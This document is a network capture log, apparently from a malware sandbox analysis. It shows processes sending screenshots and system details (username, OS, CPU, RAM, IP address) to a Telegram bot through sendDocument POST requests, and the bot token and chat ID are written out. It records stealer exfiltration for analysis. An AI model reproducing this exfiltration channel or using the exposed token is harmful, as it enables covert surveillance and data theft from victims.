2024-04-19 17:35:36 UTC	15447	OUT	Data Raw: a2 8a 29 80 51 45 14 00 51 45 14 00 94 51 45 03 0a 4a 5a 4a 00 28 a2 8a 06 14 51 45 00 25 14 51 40 05 14 51 40 c2 90 d2 f6 a4 a0 02 8a 28 a0 04 a2 8a 28 18 52 52 d2 50 01 45 14 50 02 51 4b 49 40 c2 8a 28 a0 02 92 8a 29 8c 28 a2 8a 00 4a 28 cd 26 68 18 b4 94 94 50 16 0c fb 52 66 8a 28 18 52 52 d2 50 01 49 4b 49 40 c2 8a 28 a0 61 49 45 14 00 52 52 d2 50 30 a2 8a 28 01 28 a2 8a 06 21 a2 8a 28 00 a4 a5 a4 a0 61 49 4b 49 40 05 25 2d 14 14 25 14 52 50 08 5a 4a 28 a0 04 34 51 45 03 0a 4a 5a 4a 06 14 94 51 40 09 45 2d 25 03 0a 4a 5a 4a 06 14 94 51 40 05 25 2d 14 0c 4a 28 a2 81 85 25 14 94 00 b4 94 51 40 c3 8a 29 28 a0 02 8a 28 a0 62 51 45 14 0c 4a 28 a2 80 0a 28 a4 a6 30 fe 74 51 f9 50 69 0c 43 c7 34 51 45 30 13 f1 a3 8a 28 a0 61 49 c5 2d 27 14 80 3d e8 fa 51 45 Data Ascii: )QEQEQEJZJ(QE%Q@Q@((RRPEPQKI@()(J(&hPRf(RRPIKI@(aIERRP0((!(aIKI@%-%RPZJ(4QEJZJQ@E-%JZJQ@%-J(%Q@)((bQEJ((0tQPiC4QE0(aI-'=QE
2024-04-19 17:35:36 UTC	1569	OUT	Data Raw: 9e a9 ff 00 7d 0a 3c f8 7f e7 aa 7f df 42 80 24 a2 a3 f3 e1 ff 00 9e a9 ff 00 7d 0a 3c f8 7f e7 aa 7f df 42 80 24 a2 a3 f3 e1 ff 00 9e a9 ff 00 7d 0a 3c f8 7f e7 aa 7f df 42 80 24 a2 a3 f3 e1 ff 00 9e a9 ff 00 7d 0a 3c f8 7f e7 aa 7f df 42 80 24 a2 a3 f3 e1 ff 00 9e a9 ff 00 7d 0a 3c f8 7f e7 aa 7f df 42 80 24 a2 a3 f3 e1 ff 00 9e a9 ff 00 7d 0a 3c f8 7f e7 aa 7f df 42 80 24 a2 a3 f3 e1 ff 00 9e a9 ff 00 7d 0a 3c f8 7f e7 aa 7f df 42 80 09 ff 00 e3 de 4f f7 4f f2 af 9e 6b e8 39 a6 88 c1 20 12 21 25 4f f1 0f 4a f9 f2 ae 26 73 0a dc d3 3c 49 3d 9d 8f d8 2e 6d 60 bf b3 ce e5 86 e1 72 14 fa 83 db f0 ac 3a 2a 88 37 35 3f 12 4f 79 63 f6 0b 6b 58 2c 2c f3 b9 a1 b7 5c 06 3e a4 f7 fc 6b 0e 8a 28 00 a2 8a 29 80 56 bd cf 89 f5 cb 8b a9 67 fe d5 bc 8b cc 72 fe 5c 57 Data Ascii: }<B$}<B$}<B$}<B$}<B$}<B$}<BOOk9 !%OJ&s<I=.m`r:*75?OyckX,,\>k()Vgr\W
2024-04-19 17:35:36 UTC	50	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 36 65 64 35 63 37 62 34 35 30 38 31 2d 2d 0d 0a Data Ascii: -----------------------------8dc6ed5c7b45081--
2024-04-19 17:35:36 UTC	25	IN	HTTP/1.1 100 Continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49726	149.154.167.220	443	7324	C:\Users\user\AppData\Roaming\vZkoWbol.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 17:35:38 UTC	262	OUT	POST /bot7177134832:AAFZbBRZvrMTexyCCRWrTRyGHf8Nct0rg7g/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dc70f0a363c025 Host: api.telegram.org Content-Length: 67155 Expect: 100-continue Connection: Keep-Alive
2024-04-19 17:35:39 UTC	1024	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 37 30 66 30 61 33 36 33 63 30 32 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 31 32 31 30 35 35 38 34 39 32 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 37 30 66 30 61 33 36 33 63 30 32 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 53 43 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 54 69 6d 65 3a 20 30 35 2f 31 30 2f 32 30 32 34 20 31 32 3a 35 36 3a 33 39 0a 55 73 65 72 Data Ascii: -----------------------------8dc70f0a363c025Content-Disposition: form-data; name="chat_id"1210558492-----------------------------8dc70f0a363c025Content-Disposition: form-data; name="caption"New SC Recovered!Time: 05/10/2024 12:56:39User
2024-04-19 17:35:39 UTC	16355	OUT	Data Raw: 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 8e 8a 28 af a7 3e 38 28 a9 e2 b4 9a 44 12 60 2c 67 a3 31 c0 3f d4 d4 cb 6b 0a fd e6 69 0f b7 03 ff 00 af fa 56 52 ab 08 ee cd 61 46 73 d9 14 68 ad 55 b5 b6 91 39 8b 6f ba b1 cf eb 9a 86 4d 34 f5 86 55 6f 66 f9 4f f8 52 8d 78 3f 22 a5 87 9c 7c ca 14 Data Ascii: !1AQaq"2B#3Rbr$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?(>8(D`,g1?kiVRaFshU9oM4UofORx?"\|
2024-04-19 17:35:39 UTC	16355	OUT	Data Raw: e7 92 7f df 22 9c aa aa 30 a0 01 e8 2b 4a 58 19 c6 a2 94 a4 ac 8c eb 66 b4 1d 19 c2 9c 5d e4 ad ad 85 a2 8a 2b d5 3e 78 28 a2 8a 00 b5 a5 b2 a6 a9 6a cc 42 a8 95 49 24 e0 01 9a ee 3e dd 67 ff 00 3f 70 7f df c5 ff 00 1a f3 da 2b 8e be 17 db 4b 9a f6 3d 0c 2e 3b ea f0 70 e5 be bd cf 42 fb 7d 97 fc fe 5b ff 00 df d5 ff 00 1a 4f b7 d9 7f cf e5 bf fd fd 5f f1 af 3e a2 b0 fe cf fe f7 e1 ff 00 04 e9 fe d5 fe e7 e3 ff 00 00 ea 7c 4f 75 6d 36 9a 89 0d c4 52 37 9a 0e 11 c1 38 c1 f4 ae 56 8a 2b b3 0f 47 d8 c7 96 f7 38 31 58 8f ac 4d 4a d6 d0 28 a2 8a dc e6 0a 28 a2 80 0a 28 a2 80 0a 4a 5a 28 01 28 a5 a4 a0 02 8a 28 a0 02 8a 28 a0 02 8a 28 a0 04 a2 8a 28 18 51 45 14 c0 4a 29 68 a0 04 a2 8a 5a 00 4a 28 a2 80 0a 4a 5a 4a 06 14 51 45 30 0a 28 a2 80 12 8a 5a 4a 06 14 51 Data Ascii: "0+JXf]+>x(jBI$>g?p+K=.;pB}[O_>\|Oum6R78V+G81XMJ(((JZ((((((QEJ)hZJ(JZJQE0(ZJQ
2024-04-19 17:35:39 UTC	16355	OUT	Data Raw: d9 f2 82 51 45 14 00 57 49 e0 bf f9 06 dd 7f d7 d3 ff 00 25 ae 6e ba 4f 05 ff 00 c8 36 eb fe be 9f f9 2d 79 79 8f d8 f9 9f 41 92 fc 35 7d 17 e6 6f 4b 22 43 13 cb 23 05 44 05 98 9e c0 57 19 a1 eb 31 5a de de 5e cc 9f ba bb 72 ec 63 52 4c 58 27 01 bb 73 9a d6 d5 34 7b ed 57 50 29 3c 81 6c 43 02 30 e7 ee 80 32 02 fa 93 9e 4e 6b 71 21 8a 38 04 09 1a 88 82 ed 09 8e 31 e9 5e 3b 52 9c ae b4 b1 f4 d0 9d 2a 14 9c 5f bc e5 bd ba 2f f3 ff 00 22 b5 96 a7 6d 7b 2b c3 19 75 95 14 31 49 10 a9 c1 e8 7d c5 73 3e 2a ff 00 91 8a 3f fa f5 1f fa 19 ae ae da c6 d2 d1 99 ad ad a2 85 9b ef 14 40 33 5c a7 8a bf e4 62 8f fe bd 47 fe 86 6b a2 85 fd a4 2f dc e1 c4 f2 7b 1a bc 9b 72 bd fe 46 65 14 51 5f 48 7c 38 51 45 14 00 51 45 14 0c 28 a2 8a 00 28 a2 8a 00 4a 29 68 a0 04 a2 96 8a Data Ascii: QEWI%nO6-yyA5}oK"C#DW1Z^rcRLX's4{WP)<lC02Nkq!81^;R_/"m{+u1I}s>?@3\bGk/{rFeQ_H\|8QEQE((J)h
2024-04-19 17:35:39 UTC	15447	OUT	Data Raw: a2 8a 29 80 51 45 14 00 51 45 14 00 94 51 45 03 0a 4a 5a 4a 00 28 a2 8a 06 14 51 45 00 25 14 51 40 05 14 51 40 c2 90 d2 f6 a4 a0 02 8a 28 a0 04 a2 8a 28 18 52 52 d2 50 01 45 14 50 02 51 4b 49 40 c2 8a 28 a0 02 92 8a 29 8c 28 a2 8a 00 4a 28 cd 26 68 18 b4 94 94 50 16 0c fb 52 66 8a 28 18 52 52 d2 50 01 49 4b 49 40 c2 8a 28 a0 61 49 45 14 00 52 52 d2 50 30 a2 8a 28 01 28 a2 8a 06 21 a2 8a 28 00 a4 a5 a4 a0 61 49 4b 49 40 05 25 2d 14 14 25 14 52 50 08 5a 4a 28 a0 04 34 51 45 03 0a 4a 5a 4a 06 14 94 51 40 09 45 2d 25 03 0a 4a 5a 4a 06 14 94 51 40 05 25 2d 14 0c 4a 28 a2 81 85 25 14 94 00 b4 94 51 40 c3 8a 29 28 a0 02 8a 28 a0 62 51 45 14 0c 4a 28 a2 80 0a 28 a4 a6 30 fe 74 51 f9 50 69 0c 43 c7 34 51 45 30 13 f1 a3 8a 28 a0 61 49 c5 2d 27 14 80 3d e8 fa 51 45 Data Ascii: )QEQEQEJZJ(QE%Q@Q@((RRPEPQKI@()(J(&hPRf(RRPIKI@(aIERRP0((!(aIKI@%-%RPZJ(4QEJZJQ@E-%JZJQ@%-J(%Q@)((bQEJ((0tQPiC4QE0(aI-'=QE
2024-04-19 17:35:39 UTC	1569	OUT	Data Raw: 9e a9 ff 00 7d 0a 3c f8 7f e7 aa 7f df 42 80 24 a2 a3 f3 e1 ff 00 9e a9 ff 00 7d 0a 3c f8 7f e7 aa 7f df 42 80 24 a2 a3 f3 e1 ff 00 9e a9 ff 00 7d 0a 3c f8 7f e7 aa 7f df 42 80 24 a2 a3 f3 e1 ff 00 9e a9 ff 00 7d 0a 3c f8 7f e7 aa 7f df 42 80 24 a2 a3 f3 e1 ff 00 9e a9 ff 00 7d 0a 3c f8 7f e7 aa 7f df 42 80 24 a2 a3 f3 e1 ff 00 9e a9 ff 00 7d 0a 3c f8 7f e7 aa 7f df 42 80 24 a2 a3 f3 e1 ff 00 9e a9 ff 00 7d 0a 3c f8 7f e7 aa 7f df 42 80 09 ff 00 e3 de 4f f7 4f f2 af 9e 6b e8 39 a6 88 c1 20 12 21 25 4f f1 0f 4a f9 f2 ae 26 73 0a dc d3 3c 49 3d 9d 8f d8 2e 6d 60 bf b3 ce e5 86 e1 72 14 fa 83 db f0 ac 3a 2a 88 37 35 3f 12 4f 79 63 f6 0b 6b 58 2c 2c f3 b9 a1 b7 5c 06 3e a4 f7 fc 6b 0e 8a 28 00 a2 8a 29 80 56 bd cf 89 f5 cb 8b a9 67 fe d5 bc 8b cc 72 fe 5c 57 Data Ascii: }<B$}<B$}<B$}<B$}<B$}<B$}<BOOk9 !%OJ&s<I=.m`r:*75?OyckX,,\>k()Vgr\W
2024-04-19 17:35:39 UTC	50	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 37 30 66 30 61 33 36 33 63 30 32 35 2d 2d 0d 0a Data Ascii: -----------------------------8dc70f0a363c025--
2024-04-19 17:35:39 UTC	25	IN	HTTP/1.1 100 Continue
2024-04-19 17:35:39 UTC	1482	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 19 Apr 2024 17:35:39 GMT Content-Type: application/json Content-Length: 1093 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":true,"result":{"message_id":3443,"from":{"id":7177134832,"is_bot":true,"first_name":"bng_bot","username":"shanny1975_bot"},"chat":{"id":1210558492,"first_name":"kelv","last_name":"calin","type":"private"},"date":1713548139,"document":{"file_name":"user-618321 2024-05-10 12-56-41.jpg","mime_type":"image/jpeg","thumbnail":{"file_id":"AAMCBAADGQMAAg1zZiKra6IhtTON8KcRAfHI_IdZiVcAArcXAAKLUhlRAt6wRxZCEaIBAAdtAAM0BA","file_unique_id":"AQADtxcAAotSGVFy","file_size":12511,"width":320,"height":256},"thumb":{"file_id":"AAMCBAADGQMAAg1zZiKra6IhtTON8KcRAfHI_IdZiVcAArcXAAKLUhlRAt6wRxZCEaIBAAdtAAM0BA","file_unique_id":"AQADtxcAAotSGVFy","file_size":12511,"width":320,"height":256},"file_id":"BQACAgQAAxkDAAINc2Yiq2uiIbUzjfCnEQHxyPyHWYlXAAK3FwACi1IZUQLesEcWQhGiNAQ","file_unique_id":"AgADtxcAAotSGVE","file_size":66532},"caption":"New SC Recovered!\n\nTime: 05/10/2024 12:56:39\nUser Name: user/618321\nOSFullName: Microsoft Windows 10 Pro\nCPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz\nRAM: 8191.25 MB\nIP Address: 81.181.57.52","caption_entities":[{"offset":179,"length":12,"type":"url"}]}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49727	149.154.167.220	443	7324	C:\Users\user\AppData\Roaming\vZkoWbol.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 17:35:39 UTC	262	OUT	POST /bot7177134832:AAFZbBRZvrMTexyCCRWrTRyGHf8Nct0rg7g/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dc72be64e6da25 Host: api.telegram.org Content-Length: 67155 Expect: 100-continue Connection: Keep-Alive
2024-04-19 17:35:39 UTC	1024	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 37 32 62 65 36 34 65 36 64 61 32 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 31 32 31 30 35 35 38 34 39 32 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 37 32 62 65 36 34 65 36 64 61 32 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 53 43 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 54 69 6d 65 3a 20 30 35 2f 31 32 2f 32 30 32 34 20 31 39 3a 35 32 3a 30 34 0a 55 73 65 72 Data Ascii: -----------------------------8dc72be64e6da25Content-Disposition: form-data; name="chat_id"1210558492-----------------------------8dc72be64e6da25Content-Disposition: form-data; name="caption"New SC Recovered!Time: 05/12/2024 19:52:04User
2024-04-19 17:35:39 UTC	16355	OUT	Data Raw: 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 8e 8a 28 af a7 3e 38 28 a9 e2 b4 9a 44 12 60 2c 67 a3 31 c0 3f d4 d4 cb 6b 0a fd e6 69 0f b7 03 ff 00 af fa 56 52 ab 08 ee cd 61 46 73 d9 14 68 ad 55 b5 b6 91 39 8b 6f ba b1 cf eb 9a 86 4d 34 f5 86 55 6f 66 f9 4f f8 52 8d 78 3f 22 a5 87 9c 7c ca 14 Data Ascii: !1AQaq"2B#3Rbr$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?(>8(D`,g1?kiVRaFshU9oM4UofORx?"\|
2024-04-19 17:35:39 UTC	16355	OUT	Data Raw: e7 92 7f df 22 9c aa aa 30 a0 01 e8 2b 4a 58 19 c6 a2 94 a4 ac 8c eb 66 b4 1d 19 c2 9c 5d e4 ad ad 85 a2 8a 2b d5 3e 78 28 a2 8a 00 b5 a5 b2 a6 a9 6a cc 42 a8 95 49 24 e0 01 9a ee 3e dd 67 ff 00 3f 70 7f df c5 ff 00 1a f3 da 2b 8e be 17 db 4b 9a f6 3d 0c 2e 3b ea f0 70 e5 be bd cf 42 fb 7d 97 fc fe 5b ff 00 df d5 ff 00 1a 4f b7 d9 7f cf e5 bf fd fd 5f f1 af 3e a2 b0 fe cf fe f7 e1 ff 00 04 e9 fe d5 fe e7 e3 ff 00 00 ea 7c 4f 75 6d 36 9a 89 0d c4 52 37 9a 0e 11 c1 38 c1 f4 ae 56 8a 2b b3 0f 47 d8 c7 96 f7 38 31 58 8f ac 4d 4a d6 d0 28 a2 8a dc e6 0a 28 a2 80 0a 28 a2 80 0a 4a 5a 28 01 28 a5 a4 a0 02 8a 28 a0 02 8a 28 a0 02 8a 28 a0 04 a2 8a 28 18 51 45 14 c0 4a 29 68 a0 04 a2 8a 5a 00 4a 28 a2 80 0a 4a 5a 4a 06 14 51 45 30 0a 28 a2 80 12 8a 5a 4a 06 14 51 Data Ascii: "0+JXf]+>x(jBI$>g?p+K=.;pB}[O_>\|Oum6R78V+G81XMJ(((JZ((((((QEJ)hZJ(JZJQE0(ZJQ
2024-04-19 17:35:39 UTC	16355	OUT	Data Raw: d9 f2 82 51 45 14 00 57 49 e0 bf f9 06 dd 7f d7 d3 ff 00 25 ae 6e ba 4f 05 ff 00 c8 36 eb fe be 9f f9 2d 79 79 8f d8 f9 9f 41 92 fc 35 7d 17 e6 6f 4b 22 43 13 cb 23 05 44 05 98 9e c0 57 19 a1 eb 31 5a de de 5e cc 9f ba bb 72 ec 63 52 4c 58 27 01 bb 73 9a d6 d5 34 7b ed 57 50 29 3c 81 6c 43 02 30 e7 ee 80 32 02 fa 93 9e 4e 6b 71 21 8a 38 04 09 1a 88 82 ed 09 8e 31 e9 5e 3b 52 9c ae b4 b1 f4 d0 9d 2a 14 9c 5f bc e5 bd ba 2f f3 ff 00 22 b5 96 a7 6d 7b 2b c3 19 75 95 14 31 49 10 a9 c1 e8 7d c5 73 3e 2a ff 00 91 8a 3f fa f5 1f fa 19 ae ae da c6 d2 d1 99 ad ad a2 85 9b ef 14 40 33 5c a7 8a bf e4 62 8f fe bd 47 fe 86 6b a2 85 fd a4 2f dc e1 c4 f2 7b 1a bc 9b 72 bd fe 46 65 14 51 5f 48 7c 38 51 45 14 00 51 45 14 0c 28 a2 8a 00 28 a2 8a 00 4a 29 68 a0 04 a2 96 8a Data Ascii: QEWI%nO6-yyA5}oK"C#DW1Z^rcRLX's4{WP)<lC02Nkq!81^;R_/"m{+u1I}s>?@3\bGk/{rFeQ_H\|8QEQE((J)h
2024-04-19 17:35:39 UTC	15447	OUT	Data Raw: a2 8a 29 80 51 45 14 00 51 45 14 00 94 51 45 03 0a 4a 5a 4a 00 28 a2 8a 06 14 51 45 00 25 14 51 40 05 14 51 40 c2 90 d2 f6 a4 a0 02 8a 28 a0 04 a2 8a 28 18 52 52 d2 50 01 45 14 50 02 51 4b 49 40 c2 8a 28 a0 02 92 8a 29 8c 28 a2 8a 00 4a 28 cd 26 68 18 b4 94 94 50 16 0c fb 52 66 8a 28 18 52 52 d2 50 01 49 4b 49 40 c2 8a 28 a0 61 49 45 14 00 52 52 d2 50 30 a2 8a 28 01 28 a2 8a 06 21 a2 8a 28 00 a4 a5 a4 a0 61 49 4b 49 40 05 25 2d 14 14 25 14 52 50 08 5a 4a 28 a0 04 34 51 45 03 0a 4a 5a 4a 06 14 94 51 40 09 45 2d 25 03 0a 4a 5a 4a 06 14 94 51 40 05 25 2d 14 0c 4a 28 a2 81 85 25 14 94 00 b4 94 51 40 c3 8a 29 28 a0 02 8a 28 a0 62 51 45 14 0c 4a 28 a2 80 0a 28 a4 a6 30 fe 74 51 f9 50 69 0c 43 c7 34 51 45 30 13 f1 a3 8a 28 a0 61 49 c5 2d 27 14 80 3d e8 fa 51 45 Data Ascii: )QEQEQEJZJ(QE%Q@Q@((RRPEPQKI@()(J(&hPRf(RRPIKI@(aIERRP0((!(aIKI@%-%RPZJ(4QEJZJQ@E-%JZJQ@%-J(%Q@)((bQEJ((0tQPiC4QE0(aI-'=QE
2024-04-19 17:35:39 UTC	1569	OUT	Data Raw: 9e a9 ff 00 7d 0a 3c f8 7f e7 aa 7f df 42 80 24 a2 a3 f3 e1 ff 00 9e a9 ff 00 7d 0a 3c f8 7f e7 aa 7f df 42 80 24 a2 a3 f3 e1 ff 00 9e a9 ff 00 7d 0a 3c f8 7f e7 aa 7f df 42 80 24 a2 a3 f3 e1 ff 00 9e a9 ff 00 7d 0a 3c f8 7f e7 aa 7f df 42 80 24 a2 a3 f3 e1 ff 00 9e a9 ff 00 7d 0a 3c f8 7f e7 aa 7f df 42 80 24 a2 a3 f3 e1 ff 00 9e a9 ff 00 7d 0a 3c f8 7f e7 aa 7f df 42 80 24 a2 a3 f3 e1 ff 00 9e a9 ff 00 7d 0a 3c f8 7f e7 aa 7f df 42 80 09 ff 00 e3 de 4f f7 4f f2 af 9e 6b e8 39 a6 88 c1 20 12 21 25 4f f1 0f 4a f9 f2 ae 26 73 0a dc d3 3c 49 3d 9d 8f d8 2e 6d 60 bf b3 ce e5 86 e1 72 14 fa 83 db f0 ac 3a 2a 88 37 35 3f 12 4f 79 63 f6 0b 6b 58 2c 2c f3 b9 a1 b7 5c 06 3e a4 f7 fc 6b 0e 8a 28 00 a2 8a 29 80 56 bd cf 89 f5 cb 8b a9 67 fe d5 bc 8b cc 72 fe 5c 57 Data Ascii: }<B$}<B$}<B$}<B$}<B$}<B$}<BOOk9 !%OJ&s<I=.m`r:*75?OyckX,,\>k()Vgr\W
2024-04-19 17:35:39 UTC	50	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 37 32 62 65 36 34 65 36 64 61 32 35 2d 2d 0d 0a Data Ascii: -----------------------------8dc72be64e6da25--
2024-04-19 17:35:39 UTC	25	IN	HTTP/1.1 100 Continue
2024-04-19 17:35:40 UTC	1482	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 19 Apr 2024 17:35:40 GMT Content-Type: application/json Content-Length: 1093 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":true,"result":{"message_id":3444,"from":{"id":7177134832,"is_bot":true,"first_name":"bng_bot","username":"shanny1975_bot"},"chat":{"id":1210558492,"first_name":"kelv","last_name":"calin","type":"private"},"date":1713548140,"document":{"file_name":"user-618321 2024-05-12 20-02-04.jpg","mime_type":"image/jpeg","thumbnail":{"file_id":"AAMCBAADGQMAAg10ZiKrbLkZr1HG6qxkcKQBEuD0NPIAArgXAAKLUhlRcZjLs1Wa--YBAAdtAAM0BA","file_unique_id":"AQADuBcAAotSGVFy","file_size":12511,"width":320,"height":256},"thumb":{"file_id":"AAMCBAADGQMAAg10ZiKrbLkZr1HG6qxkcKQBEuD0NPIAArgXAAKLUhlRcZjLs1Wa--YBAAdtAAM0BA","file_unique_id":"AQADuBcAAotSGVFy","file_size":12511,"width":320,"height":256},"file_id":"BQACAgQAAxkDAAINdGYiq2y5Ga9RxuqsZHCkARLg9DTyAAK4FwACi1IZUXGYy7NVmvvmNAQ","file_unique_id":"AgADuBcAAotSGVE","file_size":66532},"caption":"New SC Recovered!\n\nTime: 05/12/2024 19:52:04\nUser Name: user/618321\nOSFullName: Microsoft Windows 10 Pro\nCPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz\nRAM: 8191.25 MB\nIP Address: 81.181.57.52","caption_entities":[{"offset":179,"length":12,"type":"url"}]}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49728	149.154.167.220	443	3472	C:\Users\user\Desktop\z1E-catalogSamples.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 17:35:55 UTC	262	OUT	POST /bot7177134832:AAFZbBRZvrMTexyCCRWrTRyGHf8Nct0rg7g/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dc801ba947090d Host: api.telegram.org Content-Length: 67155 Expect: 100-continue Connection: Keep-Alive
2024-04-19 17:35:56 UTC	1024	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 38 30 31 62 61 39 34 37 30 39 30 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 31 32 31 30 35 35 38 34 39 32 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 38 30 31 62 61 39 34 37 30 39 30 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 53 43 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 54 69 6d 65 3a 20 30 35 2f 32 39 2f 32 30 32 34 20 32 30 3a 30 37 3a 32 35 0a 55 73 65 72 Data Ascii: -----------------------------8dc801ba947090dContent-Disposition: form-data; name="chat_id"1210558492-----------------------------8dc801ba947090dContent-Disposition: form-data; name="caption"New SC Recovered!Time: 05/29/2024 20:07:25User
